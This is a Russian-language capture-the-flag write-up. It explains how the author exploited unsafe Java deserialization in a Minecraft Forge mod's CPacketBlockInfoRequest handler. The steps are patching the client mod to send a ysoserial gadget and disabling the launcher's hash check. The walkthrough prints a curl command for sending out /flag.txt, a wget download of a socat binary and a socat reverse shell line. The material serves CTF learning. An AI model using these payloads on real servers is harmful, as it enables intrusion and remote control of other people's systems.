# YauzaCTF - YauzaCraft pt.3 Writeup ## Карточка таска ![Карточка таска](https://i.imgur.com/tsSg5nR.png "Карточка таска") ## Решаем Для начала качаем лаунчер, регаемся, заходим разок в игру, чтобы лаучер вытащил клиент. На винде клиент качается в `%appdata%/.yauzacraft` Вместе с клиентом нам прилетают моды - а конкретно, один единственный мод, yauzactf: ![yauzactf mode](https://i.imgur.com/uEXHx5u.png "yauzactf mode") ### Смотрим мод Если открыть мод в любом декомпиле джавы (я буду использовать [Recaf](https://github.com/Col-E/Recaf)), можно увидеть определенное дерево классов: ![](https://i.imgur.com/pzTxv7A.png) Это достаточно дефолтные классы и файлы для любого мода на фордже. Из всего многообразия классов, нас интересует только один - `CPacketBlockInfoRequest`. ### CPacketBlockInfoRequest > Стоит заметить, что и в сервер, и в клиент - грузится один и тот же jar'ник мода, просто некоторые части его кода выполняются только на сервере, некоторые - только на клиенте, а некоторые - и там, и так. У классов, реализующих интерфейс `IMessage` (к коим, несомненно, относится и `CPacketBlockInfoRequest`) - есть три основных задачи: - Взять какие-то данные на клиенте (или сервере) и сериализовать их - Получить эти данные на сервере (или клиенте), и десериализовать их - Обработать получившийся объект. Декомпилируем класс, и посмотрим, что в нём есть - одно поле и несколько методов: - `private BlockPos blockPos` - `public void fromBytes(ByteBuf buf)` - `public void toBytes(ByteBuf buf)` - `public IMessage Handler.onMessage(CPacketBlockInfoRequest message, MessageContext ctx)` `from/toBytes` - функции, отвечающие за сериализацию и десериализацию, а `Handler.onMessage` - обработчик сообщения `CPacketBlockInfoRequest`. Очевидно, что из этих функций, на клиенте выполняется `toBytes`, при формировании сообщения, а на сервере - `fromBytes` и `onMessage`, при обработке сообщения. Если посмотреть внимательно на функцию `fromBytes`, можно заметить небезопасную десериализацию. ```java= public void fromBytes(ByteBuf buf) { int readable = buf.readableBytes(); if (readable == 0) { return; } try { byte[] buffer = new byte[readable]; buf.getBytes(0, buffer); ByteArrayInputStream bis = new ByteArrayInputStream(buffer); ObjectInputStream ois = new ObjectInputStream(bis); this.blockPos = ((NetBlockPos)ois.readObject()).getBlockPos(); ois.close(); bis.close(); } catch (IOException | ClassCastException | ClassNotFoundException exception) { exception.printStackTrace(); } } ``` В джаве её заметить легко - об этом говорит использование метода `ObjectInputStream.readObject()`. Отлично, уязвимость найдена, осталось её только проэксплуатировать. ### Эксплуатация Первый шаг, необходимый для эксплуатации такой уязвимости - надо исправить мод, чтобы он отправлял не тот объект, который он получит из другого куска мода и сериализует, а тот, что нужен нам. #### Изменение мода Подозреваю, что есть и более простой путь, однако, поскольку мод был достаточно небольшим, я просто декомпильнул весь мод, и пересобрал его заного. Процесс декомпиляции прост, как тапок, а вот в процессе пересборки возникла проблема с обфускацией функций и полей майна - это решилось скачиванием последнего [minecraft coder pack'a](http://www.modcoderpack.com/files/mcp940.zip), и простым переименовыванием по таблицам `mcp937/conf/fields.csv` и `mcp937/conf/methods.csv`. Единственный метод, который необходимо изменить - это `CPacketBlockInfoRequest.toBytes`, после некоторых вольных изменений, он стал выглядеть следующим образом: ```java= public void toBytes(ByteBuf buf) { try { buf.writeBytes(Files.readAllBytes(Paths.get("C:\\minecraft\\gadget.ser"))); } catch (IOException exception) { exception.printStackTrace(); } } ``` Отлично, мы запатчили мод, однако, если попробовать его загрузить напрямую в папку `mods` - можно столкнуться с тем, что лаунчер лишний, или не совпадающий по хешу, файл удалит, и/или перекачает заново. #### Фикс лаунчера Чтобы такого не происходило, я предпочитаю патчить лаунчер. Благо, в нашем случае это сделать проще простого - берем вышеупомянутый `recaf`, находим класс `com.yauzactf.launcher.common.UpdateHandler`, и в методе `UpdateHandler` - убираем проверку: ```java= for (FileInfo info : files) { if (info.getPlatform() != null && info.getPlatform() != CommonUtils.getPlatform()) continue; whitelist.add(info.getFile().getAbsoluteFile().toString()); if (info.getFile().exists()) { String fileHash = CommonUtils.getFileSHA1(info.getFile()); if (fileHash.equals(info.getHash())) continue; info.getFile().delete(); filesToDownload.add(info); continue; } filesToDownload.add(info); } ``` \- превращается в > ```java= for (FileInfo info : files) { if (info.getPlatform() != null && info.getPlatform() != CommonUtils.getPlatform()) continue; whitelist.add(info.getFile().getAbsoluteFile().toString()); if (info.getFile().exists()) { continue; } filesToDownload.add(info); } ``` Аналогично, из метода `deleteNonWhitelistedFiles` того же класса убирается вызов `file.delete()`. #### Гаджет Для генерации гаджета использовался [ysoserial](https://github.com/frohoff/ysoserial). Выбор основы для гаджета много времени не занял, ведь, при пересборке мода пришлось заметить, что в нём используется класс из `org.apache.commons.collections4`, а значит, эта библиотека точно присутствует и подгружена - и как раз под неё есть целых два гаджета. Сами гаджеты с отредактированным модом использовать очень просто - достаточно один раз зайти в игру и тыкать испектором блоков по чему-нибудь, а сериализатор будет отправлять тот гаджет, что есть в файле. #### Завершение Изначально я пытался достать флаг через `curl -d "@/flag.txt"`, но _почему-то_ этот пейлоад не отрабатывал, поэтому я забил и решил идти через реверсшелл, через сокат. В итоге получилось три команды - три гаджета: - `wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/.socat1337` - `chmod +x /tmp/.socat1337` (сработало почему-то не сразу, пришлось несколько раз отправлять) - `/tmp/.socat1337 exec:'/bin/sh',pty,stderr,setsid,sigint,sane tcp:<redacted>:<port>`